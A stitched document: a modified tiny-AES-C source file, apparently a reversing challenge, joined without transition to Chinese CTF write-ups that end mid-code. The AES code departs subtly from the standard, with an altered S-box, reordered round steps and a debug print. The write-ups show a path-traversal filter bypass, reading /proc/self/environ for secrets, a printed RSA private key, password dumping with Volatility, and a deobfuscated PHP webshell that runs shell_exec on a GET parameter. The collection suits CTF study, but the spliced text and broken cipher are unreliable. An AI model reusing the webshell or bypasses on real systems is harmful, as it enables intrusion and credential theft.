/*****************************************************************************/ /* Defines: */ /*****************************************************************************/ // The number of columns comprising a state in AES. This is a constant in AES. Value=4 #define Nb 4 #if defined(AES256) && (AES256 == 1) #define Nk 8 #define Nr 14 #elif defined(AES192) && (AES192 == 1) #define Nk 6 #define Nr 12 #else #define Nk 4 // The number of 32 bit words in a key. #define Nr 10 // The number of rounds in AES Cipher. #endif // jcallan@github points out that declaring Multiply as a function // reduces code size considerably with the Keil ARM compiler. // See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3 #ifndef MULTIPLY_AS_A_FUNCTION #define MULTIPLY_AS_A_FUNCTION 0 #endif /*****************************************************************************/ /* Private variables: */ /*****************************************************************************/ // state - array holding the intermediate results during decryption. typedef uint8_t state_t[4][4]; // The lookup-tables are marked const so they can be placed in read-only storage instead of RAM // The numbers below can be computed dynamically trading ROM for RAM - // This can be useful in (embedded) bootloader applications, where ROM is often limited. static const uint8_t sbox[256] = { //0 1 2 3 4 5 6 7 8 9 A B C D E F 0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45, 0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69, 0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD, 0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19, 0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8, 0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF, 0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31, 0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86, 0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3, 0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42, 0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26, 0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8, 0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64, 0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE, 0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8, 0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43, 0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D, 0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53, 0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71, 0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B, 0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF, 0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B, 0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9, 0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B, 0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE, 0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5 }; #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) static const uint8_t rsbox[256] = { 234, 198, 241, 128, 94, 156, 30, 51, 187, 210, 37, 103, 247, 98, 80, 75, 35, 190, 151, 3, 215, 196, 117, 86, 78, 39, 136, 12, 245, 253, 77, 84, 250, 123, 168, 157, 27, 235, 109, 81, 201, 93, 145, 95, 232, 226, 48, 127, 118, 69, 44, 97, 176, 236, 87, 222, 203, 140, 6, 239, 82, 200, 58, 163, 148, 206, 99, 159, 102, 9, 244, 74, 184, 240, 147, 237, 153, 107, 175, 68, 40, 105, 34, 179, 91, 25, 46, 120, 171, 142, 42, 217, 220, 125, 186, 183, 121, 124, 174, 52, 129, 8, 143, 96, 167, 19, 155, 225, 164, 144, 166, 17, 55, 189, 38, 45, 112, 7, 126, 182, 162, 26, 115, 219, 137, 185, 111, 65, 231, 193, 83, 36, 161, 154, 79, 70, 138, 246, 132, 228, 122, 23, 216, 133, 76, 113, 211, 207, 233, 72, 92, 248, 152, 43, 11, 199, 24, 169, 252, 33, 64, 54, 71, 173, 243, 10, 131, 4, 119, 32, 141, 221, 18, 73, 139, 15, 21, 180, 130, 62, 202, 255, 172, 134, 53, 5, 88, 16, 204, 29, 218, 209, 150, 227, 61, 13, 254, 90, 181, 110, 149, 229, 251, 50, 213, 194, 47, 59, 31, 230, 165, 160, 238, 28, 205, 177, 49, 116, 158, 191, 2, 208, 249, 223, 66, 57, 188, 106, 214, 14, 114, 22, 63, 100, 104, 60, 135, 0, 212, 197, 178, 41, 101, 89, 170, 20, 1, 195, 242, 56, 146, 224, 108, 67, 192, 85 }; #endif // The round constant word array, Rcon[i], contains the values given by // x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8) static const uint8_t Rcon[11] = { 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 }; /* * Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12), * that you can remove most of the elements in the Rcon array, because they are unused. * * From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon * * "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed), * up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm." */ /*****************************************************************************/ /* Private functions: */ /*****************************************************************************/ /* static uint8_t getSBoxValue(uint8_t num) { return sbox[num]; } */ #define getSBoxValue(num) (sbox[(num)]) // This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key) { unsigned i, j, k; uint8_t tempa[4]; // Used for the column/row operations // The first round key is the key itself. for (i = 0; i < Nk; ++i) { RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; } // All other round keys are found from the previous round keys. for (i = Nk; i < Nb * (Nr + 1); ++i) { { k = (i - 1) * 4; tempa[0]=RoundKey[k + 0]; tempa[1]=RoundKey[k + 1]; tempa[2]=RoundKey[k + 2]; tempa[3]=RoundKey[k + 3]; } if (i % Nk == 0) { // This function shifts the 4 bytes in a word to the left once. // [a0,a1,a2,a3] becomes [a1,a2,a3,a0] // Function RotWord() { const uint8_t u8tmp = tempa[0]; tempa[0] = tempa[1]; tempa[1] = tempa[2]; tempa[2] = tempa[3]; tempa[3] = u8tmp; } // SubWord() is a function that takes a four-byte input word and // applies the S-box to each of the four bytes to produce an output word. // Function Subword() { tempa[0] = getSBoxValue(tempa[0]); tempa[1] = getSBoxValue(tempa[1]); tempa[2] = getSBoxValue(tempa[2]); tempa[3] = getSBoxValue(tempa[3]); } tempa[0] = tempa[0] ^ Rcon[i/Nk]; } #if defined(AES256) && (AES256 == 1) if (i % Nk == 4) { // Function Subword() { tempa[0] = getSBoxValue(tempa[0]); tempa[1] = getSBoxValue(tempa[1]); tempa[2] = getSBoxValue(tempa[2]); tempa[3] = getSBoxValue(tempa[3]); } } #endif j = i * 4; k=(i - Nk) * 4; RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0]; RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1]; RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2]; RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3]; } } void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key) { KeyExpansion(ctx->RoundKey, key); } #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv) { KeyExpansion(ctx->RoundKey, key); memcpy (ctx->Iv, iv, AES_BLOCKLEN); } void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv) { memcpy (ctx->Iv, iv, AES_BLOCKLEN); } #endif // This function adds the round key to state. // The round key is added to the state by an XOR function. static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey) { uint8_t i,j; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; } } } // The SubBytes Function Substitutes the values in the // state matrix with values in an S-box. static void SubBytes(state_t* state) { uint8_t i, j; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { (*state)[j][i] = getSBoxValue((*state)[j][i]); } } } // The ShiftRows() function shifts the rows in the state to the left. // Each row is shifted with different offset. // Offset = Row number. So the first row is not shifted. static void ShiftRows(state_t* state) { uint8_t temp; // Rotate first row 1 columns to left temp = (*state)[0][1]; (*state)[0][1] = (*state)[1][1]; (*state)[1][1] = (*state)[2][1]; (*state)[2][1] = (*state)[3][1]; (*state)[3][1] = temp; // Rotate second row 2 columns to left temp = (*state)[0][2]; (*state)[0][2] = (*state)[2][2]; (*state)[2][2] = temp; temp = (*state)[1][2]; (*state)[1][2] = (*state)[3][2]; (*state)[3][2] = temp; // Rotate third row 3 columns to left temp = (*state)[0][3]; (*state)[0][3] = (*state)[3][3]; (*state)[3][3] = (*state)[2][3]; (*state)[2][3] = (*state)[1][3]; (*state)[1][3] = temp; } static uint8_t xtime(uint8_t x) { return ((x<<1) ^ (((x>>7) & 1) * 0x1b)); } // MixColumns function mixes the columns of the state matrix static void MixColumns(state_t* state) { uint8_t i; uint8_t Tmp, Tm, t; for (i = 0; i < 4; ++i) { t = (*state)[i][0]; Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ; Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ; Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ; Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ; Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ; } } // Multiply is used to multiply numbers in the field GF(2^8) // Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary // The compiler seems to be able to vectorize the operation better this way. // See https://github.com/kokke/tiny-AES-c/pull/34 #if MULTIPLY_AS_A_FUNCTION static uint8_t Multiply(uint8_t x, uint8_t y) { return (((y & 1) * x) ^ ((y>>1 & 1) * xtime(x)) ^ ((y>>2 & 1) * xtime(xtime(x))) ^ ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */ } #else #define Multiply(x, y) \ ( ((y & 1) * x) ^ \ ((y>>1 & 1) * xtime(x)) ^ \ ((y>>2 & 1) * xtime(xtime(x))) ^ \ ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \ ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \ #endif #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) /* static uint8_t getSBoxInvert(uint8_t num) { return rsbox[num]; } */ #define getSBoxInvert(num) (rsbox[(num)]) // MixColumns function mixes the columns of the state matrix. // The method used to multiply may be difficult to understand for the inexperienced. // Please use the references to gain more information. static void InvMixColumns(state_t* state) { int i; uint8_t a, b, c, d; for (i = 0; i < 4; ++i) { a = (*state)[i][0]; b = (*state)[i][1]; c = (*state)[i][2]; d = (*state)[i][3]; (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09); (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d); (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b); (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e); } } // The SubBytes Function Substitutes the values in the // state matrix with values in an S-box. static void InvSubBytes(state_t* state) { uint8_t i, j; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { (*state)[j][i] = getSBoxInvert((*state)[j][i]); } } } static void InvShiftRows(state_t* state) { uint8_t temp; // Rotate first row 1 columns to right temp = (*state)[3][1]; (*state)[3][1] = (*state)[2][1]; (*state)[2][1] = (*state)[1][1]; (*state)[1][1] = (*state)[0][1]; (*state)[0][1] = temp; // Rotate second row 2 columns to right temp = (*state)[0][2]; (*state)[0][2] = (*state)[2][2]; (*state)[2][2] = temp; temp = (*state)[1][2]; (*state)[1][2] = (*state)[3][2]; (*state)[3][2] = temp; // Rotate third row 3 columns to right temp = (*state)[0][3]; (*state)[0][3] = (*state)[1][3]; (*state)[1][3] = (*state)[2][3]; (*state)[2][3] = (*state)[3][3]; (*state)[3][3] = temp; } #endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) // Cipher is the main function that encrypts the PlainText. static void Cipher(state_t* state, const uint8_t* RoundKey) { uint8_t round = 0; // Add the First round key to the state before starting the rounds. AddRoundKey(0, state, RoundKey); // There will be Nr rounds. // The first Nr-1 rounds are identical. // These Nr rounds are executed in the loop below. // Last one without MixColumns() for (round = 1; round < 10 ; ++round) { SubBytes(state); MixColumns(state); ShiftRows(state); AddRoundKey(round, state, RoundKey); } // Add round key to last round SubBytes(state); ShiftRows(state); AddRoundKey(Nr, state, RoundKey); } #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) static void InvCipher(state_t* state, const uint8_t* RoundKey) { uint8_t round = 0; // Add the First round key to the state before starting the rounds. AddRoundKey(Nr, state, RoundKey); // There will be Nr rounds. // The first Nr-1 rounds are identical. // These Nr rounds are executed in the loop below. // Last one without InvMixColumn() InvShiftRows(state); InvSubBytes(state); for (round = (Nr - 1);round > 0; --round) { printf("%d\n", round); AddRoundKey(round, state, RoundKey); InvShiftRows(state); InvMixColumns(state); InvSubBytes(state); } AddRoundKey(0, state, RoundKey); } #endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) /*****************************************************************************/ /* Public functions: */ /*****************************************************************************/ #if defined(ECB) && (ECB == 1) void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf) { // The next function call encrypts the PlainText with the Key using AES algorithm. Cipher((state_t*)buf, ctx->RoundKey); } void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf) { // The next function call decrypts the PlainText with the Key using AES algorithm. InvCipher((state_t*)buf, ctx->RoundKey); } #endif // #if defined(ECB) && (ECB == 1) #if defined(CBC) && (CBC == 1) static void XorWithIv(uint8_t* buf, const uint8_t* Iv) { uint8_t i; for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size { buf[i] ^= Iv[i]; } } void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length) { size_t i; uint8_t *Iv = ctx->Iv; for (i = 0; i < length; i += AES_BLOCKLEN) { XorWithIv(buf, Iv); Cipher((state_t*)buf, ctx->RoundKey); Iv = buf; buf += AES_BLOCKLEN; } /* store Iv in ctx for next call */ memcpy(ctx->Iv, Iv, AES_BLOCKLEN); } void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) { size_t i; uint8_t storeNextIv[AES_BLOCKLEN]; for (i = 0; i < length; i += AES_BLOCKLEN) { memcpy(storeNextIv, buf, AES_BLOCKLEN); InvCipher((state_t*)buf, ctx->RoundKey); XorWithIv(buf, ctx->Iv); memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN); buf += AES_BLOCKLEN; } } #endif // #if defined(CBC) && (CBC == 1) #if defined(CTR) && (CTR == 1) /* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */ void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) { uint8_t buffer[AES_BLOCKLEN]; size_t i; int bi; for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) { if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */ { memcpy(buffer, ctx->Iv, AES_BLOCKLEN); Cipher((state_t*)buffer,ctx->RoundKey); /* Increment Iv and handle overflow */ for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) { /* inc will overflow */ if (ctx->Iv[bi] == 255) { ctx->Iv[bi] = 0; continue; } ctx->Iv[bi] += 1; break; } bi = 0; } buf[i] = (buf[i] ^ buffer[bi]); } } #endif // #if defined(CTR) && (CTR == 1)aes.h #ifndef _AES_H_ #define _AES_H_ #include <stdint.h> #include <stddef.h> // #define the macros below to 1/0 to enable/disable the mode of operation. // // CBC enables AES encryption in CBC-mode of operation. // CTR enables encryption in counter-mode. // ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously. // The #ifndef-guard allows it to be configured before #include'ing or at compile time. #ifndef CBC #define CBC 1 #endif #ifndef ECB #define ECB 1 #endif #ifndef CTR #define CTR 1 #endif #define AES128 1 //#define AES192 1 //#define AES256 1 #define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only #if defined(AES256) && (AES256 == 1) #define AES_KEYLEN 32 #define AES_keyExpSize 240 #elif defined(AES192) && (AES192 == 1) #define AES_KEYLEN 24 #define AES_keyExpSize 208 #else #define AES_KEYLEN 16 // Key length in bytes #define AES_keyExpSize 176 #endif struct AES_ctx { uint8_t RoundKey[AES_keyExpSize]; #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) uint8_t Iv[AES_BLOCKLEN]; #endif }; void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key); #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv); void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); #endif #if defined(ECB) && (ECB == 1) // buffer size is exactly AES_BLOCKLEN bytes; // you need only AES_init_ctx as IV is not used in ECB // NB: ECB is considered insecure for most uses void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf); void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf); #endif // #if defined(ECB) && (ECB == !) #if defined(CBC) && (CBC == 1) // buffer size MUST be mutile of AES_BLOCKLEN; // Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme // NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv() // no IV should ever be reused with the same key void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); #endif // #if defined(CBC) && (CBC == 1) #if defined(CTR) && (CTR == 1) // Same function for encrypting as for decrypting. // IV is incremented for every block, and used after encryption as XOR-compliment for output // Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme // NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv() // no IV should ever be reused with the same key void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); #endif // #if defined(CTR) && (CTR == 1) #endif // _AES_H_aes.hpp #ifndef _AES_HPP_ #define _AES_HPP_ #ifndef __cplusplus #error Do not include the hpp header in a c project! #endif //__cplusplus extern "C" { #include "aes.h" } #endif //_AES_HPP_ re02rust编写,会开启8080端口作为web服务,且只会处理get请求 可以看到../被过滤替换为/ ..../..../绕过 、 三、朱雀组Misc1在一间阴暗的地下室里,网络安全专家小张正紧盯着屏幕,刚刚截取到一批黑客通过卫星盗取的数据。数据流中杂乱的信息让他感到困惑,直到他注意到一个异常的加密信号。他开始分析这段信号,经过数小时的解密,终于提取出关键信息:一份重要的文件。他必须迅速采取行动,联系上级并确保这份信息不落入黑客手中。 提交的flag格式:wdflag{xxxxx}打开文件一堆01,差分曼彻斯特 写个脚本 from libnum import * # 读取文件内容 with open("data", "r", encoding="utf-8") as f: all_str = f.read() # 计算输出字符串 out = [] n = (len(all_str) // 2) - 1 # 使用列表推导式构建输出 for i in range(n): out.append('0' if all_str[i*2:i*2+2] == all_str[i*2+2:i*2+4] else '1') # 将列表转换为字符串并转换为十六进制 hex_output = hex(int(''.join(out), 2))[2:] # 将结果写入文件 with open("tmp.txt", "w") as f: f.write(hex_output) 去掉头部100000015转zip 发现zip文件中夹杂多余字节,secret.png被分开,间隔为6个字节,估计是多余了6个字节。至于每取出多少字节后去除尾部6个字节,可以爆破。 因为头部504B03041400没有问题,从504B0304到42020015,长度44,可以从12爆破至44。 附上脚本 # 读取 ZIP 文件 with open("2.zip", "rb") as f: all_b = f.read() n = len(all_b) # 遍历不同的分段大小 for j in range(12, 45): out = bytearray() # 使用 bytearray 来构建输出 for i in range(0, n, j): out.extend(all_b[i:i + (j - 6)]) # 使用 extend 方法追加数据 # 写入输出文件 with open(f"out_{j}.zip", "wb") as f: f.write(out)多次尝试发现每22个字节去除6个多余字节,可以恢复正常文件 解压缩密码:12345678,解压缩得到图片 cHBhYXNzd2Q=base64解密 得到密码 ppaasswd wdflag{f3b32f2151a877cad089c25994e5da4a}Misc2题目描述 “新盲盒系列发布了,大家一起来抽奖吧!”此刻的你被这样的字样吸引,于是你决定试试!请使用jdk1.8运行本程序。 给了一个jar文件,我们放到IDEA分析一下 告诉我们是AES加密,并且把密钥也给出来了,我们查看一下加密内容 在线解密一下 https://www.toolhelper.cn/SymmetricEncryption/AES wdflag{499c1ad9-f66f-4fa0-a6ce-b3aa46f8d598}Misc3题目描述 MISC03 小李对计算机安全产生了浓厚的兴趣,他学习了一些关于隐藏文件和磁盘加密的方法。他了解到,文件隐藏和加密是保护个人数据的重要手段,因此决定实践自己的新知识。他得到了一个不错加密软件,于是邀请到你,迫不及待地想要一起测试其效果。 提交的flag格式:wdflag{xxxxx}png图片,先放到Hex分析一下文件数据 看到有其他文件,先分离一下 分离打开发现都是6字节的txt文件,而且解密还要密码,想到CRC32碰撞 选择三段比较合理的字符合并得到 This_WD_010cryptPw这就是压缩包的密码,解压文件 得到文档,根据文档名很容易就能猜到是verycrypt加密卷 挂载一下密码为 This_WD_010cryptPw 得到key文件 -----BEGIN ENCRYPTED PRIVATE KEY----- MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAMync9RVIlHuySZqcpNF23ydbg5PgWVcf5Q1oj5ver9CladGc/IvPuZXeQfdG8jcaFudnfV9lT9xL/NRJmOruj80mq3L4gSZnu+bk0EuIfZlDCNJkGyvlzwlDlycHrdAd4CIcaC8NKPxI6nK8Ui/+v6dCbG7x8K1sb79TIgmVLFxAgMBAAECgYAVP707co/2zxrgU9zb3PzcOFnbH0btg/BErplvD2LgrSyN8tca0iw/HR22Uu89uKHWwluqZ7zJeqp6gmZgoq3ajtZf5TB92ncV0Xp/GPs6lRaDkJUInWIPiar23+VQPQ5uxyTnTQOiCGN5R8BZTsCC4zu/UoAuPxDmU9l8WNnGyQJBAPEktbqFyjzxZJC5PmnkiE/gegdz2i7ysN10pDyCgKhV8leS4F9npighluAD1hDiCKYBLw+foK7eB7Mm+RlF62kCQQDZQzyzebZSWmX/OCyrFk5VFfd10/lnsqQXg/RgJg2jh1UbWTiE6GDFa3H+JuYBDG/fcuuxYZ+TCDOxyDZoKHzJAkEAgA7Bnxr7ih+bCywElBFzvg90Xk7MuA/TktclfKjFECAMQStTkfamCzvDNpVy8aZHd3i7eC2KFDL+ncn9kMlLuQJAIkgWuucYmrQC5huSCMjzQT+/FUuGThOFCuTaWZWHj2caSb9xSJ92LZB/oy+2GTJCMMrsX8fcqxGfPo0t8I966QJBALdfMm0BkauVifxpAnSvfGWbuMsOalZ5Un2kjeIcCr9XBA2xQ7/VJnb+E4kHdF+8WBNONHGysrxizw29N39P53Q= -----END ENCRYPTED PRIVATE KEY-----RSA加密,想到还有个flag.txt,RSA解密一下 https://tool.lvtao.net/rsa 网鼎杯部分组附件内容:链接: https://pan.baidu.com/s/1cqv39HqfPLSd3ZLqlg1dgA?pwd=f39c 提取码: f39c 参考原文转载链接地址: https://mp.weixin.qq.com/s/Icf6QC1eCsz95vFdDpdm7g https://mp.weixin.qq.com/s/HhL4lqcL_3EeYg1TDeBOKg https://goodlunatic.github.io/posts/1a285be/#%E9%A2%98%E7%9B%AE%E5%90%8D%E7%A7%B0-misc02%E8%B5%9B%E5%90%8E%E5%A4%8D%E7%8E%B0 https://mp.weixin.qq.com/s/5Xet54leUqVOeMYzTX0ROw https://mp.weixin.qq.com/s/aUXs3-1-VQc7-ZeR07-Tjg https://mp.weixin.qq.com/s/u9yA1SUq6lneeCIMStybFg https://mp.weixin.qq.com/s/4HU-jQIKU-xNdzUIGR0Fmg
  7. decompress压缩包套娃,一直解到最后一层,将文件提取出来 提示给出了一个正则,按照正则爆破密码,一共五位,第四位是数字 ^([a-z]){3}\d[a-z]$一共就五位数,直接ARCHPR爆破,得到密码 xtr4m,解压得到flag pleasingMusic题目描述中提到: 一首歌可以好听到正反都好听 根据提示(其实也能听出来后半段音乐是倒放出来的)将音频进行反向处理实现倒放,再解析其中的摩斯电码(Morse Code)。 可以手动翻译摩斯电码表,也可以使用在线解码。 粗的表示:-,细的表示:.间隔或者空格:用空格或者/分割 WhereIsFlag纯命令手工查找,找到真正的 flag 在 /proc/self/environ 文件(可用于获取当前进程的环境变量)内,只要执行下面的命令就能拿到 flag. cat /proc/self/environ Labyirinth 兑换码 wireshark_checkin wireshark_secret 联系题目描述,找到提瓦特文字对照表 对照表解出了很多东西 我一开始一直试的中间的那串大的,但是大小写都不对 后面继续解密四周小的密文,得到:FLAGISASENTENCE IIAAELGTSFKFA DOYOUKNOWFENCE MESIOAABGNHNSGOGMYEIADE 提示 flag 是一句话,还有 FENCE 也就是栅栏加密MESIOAABGNHNSGOGMYEIADE https://ctf.bugku.com/tool/railfence 包裹 flag 提交发现没对,换小写发现正确 最终 flag为:flag{maybegenshinisagoodgame} 字里行间的秘密使用vscode打开,发现U+202c的的宽零字节 得到密码:it_is_k3y 使用密码打开word,发现空白,ctr+A全选,复制出来,得到flag 热心助人的小明同学 vol.py -f image.raw imageinfo 可知建议选择的操作系统版本有:Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86. 这里选择第一个(Win7SP1x86_23418)进行尝试,反正不行就试试别的。 voL.py -f image.raw --profile=Win/SP1x86_23418 lsadump 开头的 0x48 并不是密码,你可以理解为是一个标志,除开这个你就能得到系统密码:ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh. 最终flag 为 flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh} 用溯流仪见证伏特台风第一步,打开新闻视频的链接 根据视频,我们获得以下信息: 所需报告:The Rise of Dark Power...对应版本:最初 4 月 15 日版本现状:所需信息已经被篡改我们直接搜索报告名称 https://threatmon.io/storage/the-rise-of-dark-power-a-close-look-at-the-group-and-their-ransomware.pdf 可以看到我们需要的 PDF 文件,但是视频中又提到报告内容已经被篡改 所以现版本肯定是没有我们所需的信息的 出题人之前运气好,搜到过可以直接下载的原始版本 PDF,直接就可以开做。 但运气不好怎么办呢?我们请出我们的网站时光机—— wayback machine. 输入官网链接,启动溯流仪,正好有 4 月 15 日的版本。 下载文件,剩下的内容就和视频中演示的一样了。 移开封底图片,拿到 Domain 框里的东西,然后 MD5, 当然,你要是能用肉眼直接把视频里的模糊信息读出来,出题人也认了。 包上 flag,得到 flag{6c3ea51b6f9d4f5e}. Herta's Studyhttp导出得到upload.php <?php $payload=$_GET['payload']; $payload=shell_exec($payload); $bbb=create_function( base64_decode('J'.str_rot13('T').'5z'), base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo gICAgfQ0KfQ0KcmV0dXJuICRuczs==') ); echo $bbb($payload); ?>str_rot13() 函数对字符串执行 ROT13 编码。 ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。 "."是php里的连接符,所以上传的php代码其实为: <?php $payload = $_GET['payload']; $payload = shell_exec($payload); $bbb = function ($ns) { $ns = base64_encode($ns); for ($i = 0; $i < strlen($ns); $i++) { if ($i % 2 == 1) { $ns[$i] = str_rot13($ns[$i]); } } return $ns; }; echo $bbb($payload); ?>根据代码,可以看到,得出的结果经过base64编码,然后把里面的奇数位字符用str_rot13编码了。 然后去找到请求flag的包,解码,但是发现是fake flag。 <?php $result='ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt=='; $bbb=function 